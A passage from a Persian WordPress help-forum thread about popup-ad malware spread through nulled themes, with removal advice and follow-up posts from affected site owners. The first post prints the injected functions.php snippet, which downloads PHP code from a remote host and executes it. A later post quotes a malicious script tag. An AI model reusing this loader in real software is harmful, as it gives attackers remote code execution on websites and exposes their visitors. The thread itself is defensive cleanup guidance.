master89

ویروس پاپ آپ وردپرس go.pub2srv.com

4 پست در این موضوع قرار دارد

دوستان سلام

یک ویروس جدید اومده برای وردپرس که تبلیغات دزدید میکنه. به این صورت که پاپ آپ کلیکی باز میکنه و توی موبایل بدون کلیک پاپ آپ میذاره.

جالبش اینجاس که روی آی پی Admin وردپرس پاپ آپ نداره و حتی کد هم نمیتونید پیدا کنید!

شما میتونید از "پنجره ناشناس" فایرفاکس سایت خودتون رو باز کنید و کد و پاپ آپ رو ببینید. اما باز هم اگه با FTP برید داخل همون صفحه و بخواید کد رو پاک کنید. کد مخفی میشه. به این صورت که با هر بار بارگذاری صفحه کد از جایی بازخوانی میشه.

توی انجمن های فارسی که بحثی ازش نشده فکر کنم، توی انجمن های خارجی هم بحث شده اما جوابی دریافت نشده.

صفحه اصلی تبلیغ دزد: go.pub2srv.com هست. که هر بار لینک های تبلیغاتی متفاوتی همراه خودش میتونه داشته باشه. راه های زیادی برای از بین بردنش هست. اما باز بر میگرده و به مرور بیشتر میشه.

نکته آخر : این ویروس با قالب های نال شده و غیر قانونی وارد وبسایت شما میشه. معمولا هم ارائه دهنده این قالب ها سایت vestatheme هست که اکثر وبسایت هایی که قالب های تجاری رو رایگان برای دانلود میذارن، از این وبسایت دریافت میکنند (پس اکثر سایت ها خطرناک شدن)

آموزش حذف ویروس :

اول سایتتون رو اینجا وارد کنید و چک کنید

https://sitecheck.sucuri.net/  

حالا برید داخل فلدر قالبتون / فایل function.php رو پیدا کنید و ویرایش کنید

و قطعه کد زیر رو ازش حذف کنید



if ( ! function_exists( 'wp_temp_setup' ) ) {  
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];

if($tmpcontent = @file_get_contents("http://www.aotson.com/code.php?i=".$path))
{

function wp_temp_setup($phpCode) {
    $tmpfname = tempnam(sys_get_temp_dir(), "wp_temp_setup");
    $handle = fopen($tmpfname, "w+");
    fwrite($handle, "<?php\n" . $phpCode);
    fclose($handle);
    include $tmpfname;
    unlink($tmpfname);
    return get_defined_vars();
}

extract(wp_temp_setup($tmpcontent));
}
}

?>

حالا افزونه  Exploit Scanner رو نصب کنید و اسکن کنید. پس از پایان اسکن ctrl+f رو بزنید و go.pub رو جستجو کنید. اگر نبود، یعنی همه چیز درسته.

(این افزونه کد های مخفی رو پیدا میکنه و نمایش میده)

سپاس

ویرایش شده در توسط مهدی
1

به اشتراک گذاری این پست


لینک به پست

سلام علیکم

 

سایت ما هم به این مسئله دچار شده و متأسفاه روشی که فرمودین جواب نداد (این سایت ماست)

اگه سورس قالب رو ملاحظه بفرمائید ظاهرا یک فایل جاوا اسکریپت هست که داره تبلیغات پاپ آپ میگیره و با آیدی ادمین سایت چیزی مشخص نیست فقط سایر کاربران می ببینند...

اینم فایل مخرب که البته با فاصله می نویسم تا گوگل صفحه رو بلاک نکنه:

<script src='h t t p s:// cdn. examhome. net/ cdn. j s ? v e r = 1 . 0 . 5 ' type='text/java s c r i p t'></script></p>
0

به اشتراک گذاری این پست


لینک به پست

سلام دوستان
 

من قالب انفولد دارم و و وقتی مطالب سایت و باز میکنم پاپ آپ سایتای مختلف مثل allow-space دات کام میاد بالا.تا الان چندبار کل فایلا رو پاک کردن و دوباره بک آپمو دیتابیس ریختم.با تمام آنتی ویروس ها هم چک کردم و هیچ مشکلی گزارش نمیشه.فایلهای فانکشن هم زیرو رو کردم کد نامربوطی پیدا نکردم.نمیدونم دیگه چیکار کنم.ممنون میشم اگه کسی بتونه راهنماییم کنه.

photo_2019-12-01_18-32-06.jpg

0

به اشتراک گذاری این پست


لینک به پست

سلام

به انجمن خوش اومدین دوست عزیز

چون نسخه اصلی رو نصب نکردید و نسخه نال شده و پر از ویروس روی سرورتون هست.

0

به اشتراک گذاری این پست


لینک به پست

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری

  • مطالب مشابه

    • توسط moeinmr
      سلام و وقت بخیر خدمت دوستان عزیز
      من از قالب صحیفه استفاده میکنم
      مشکل این هست که در فروشگاه ووکامرسی این قالب تب ها رو به شکل عکس زیر عمودی نشون میده

      من میخوام به صورت افقی یعنی به شکل زیر نشون بده

      ترجیحا نمیخوام از افزونه استفاده بشه اساتید چه راهی پیشنهاد میدید؟
    • توسط Sajad_IRANI
      سلام. من داخل صفحه اصلی سایتم بخش فوتر رو شخصی سازی کردم ولی در صفحه تماس با ما و درباره ما فوتر تغییر نکردن. سوالم اینه که چطور میشه فوتر صفحه اصلی رو به صفحات دیگه اعمال یا کپی کنم؟
      سایت: gymarket.ir
      ممنون
    • توسط zeinab61
      سلام
      خسته نباشید
      میخوام یه سایتی برای شهدا بزنم و در اون هر شهید یه صفحه داشته باشه و داخلش تصویر و فیلم و دست نوشته و وصیت نامه شهید رو بذارم و میخوام این صفحه یه ترکیب قشنگی داشته باشه لطفا یه قالبی مناسب بهم معرفی کنید .
    • توسط meysam.trick
      سلام خدمت همراهان همیشگی سایت وردپرس فارسی دوستان من یه سایت خبری دارم و حدود 3 ماهه کار میکنه بنظره شما الان قالب سایتو عوض کنم تو سئو تاثیر میذاره اگه اره از صد در صد چند در صد اگه هم نه که هیچی 
      فقط خواهشا دوستانی که تجربه دارند یا اطلاعات جواب بدند چون مهمه برام
    • توسط shayan.m
      سلام
      وقت بخیر
      در فوتر سایت دوستم اگر اشتباه نکرده باشم 4 یا 5 تا ابزارک هست چطوری تعداد ابزارک های فوتر 3 تا کنم و یک اندازه مثل سایت میهن وردپرس
      آدرس سایت دوستم
      srcabad.com
      میخوام مثل فوتر سایت میهن وردپرس تعداد ابزارک های فوتر 3 تا شود و یک اندازه مثل سایت میهن وردپرس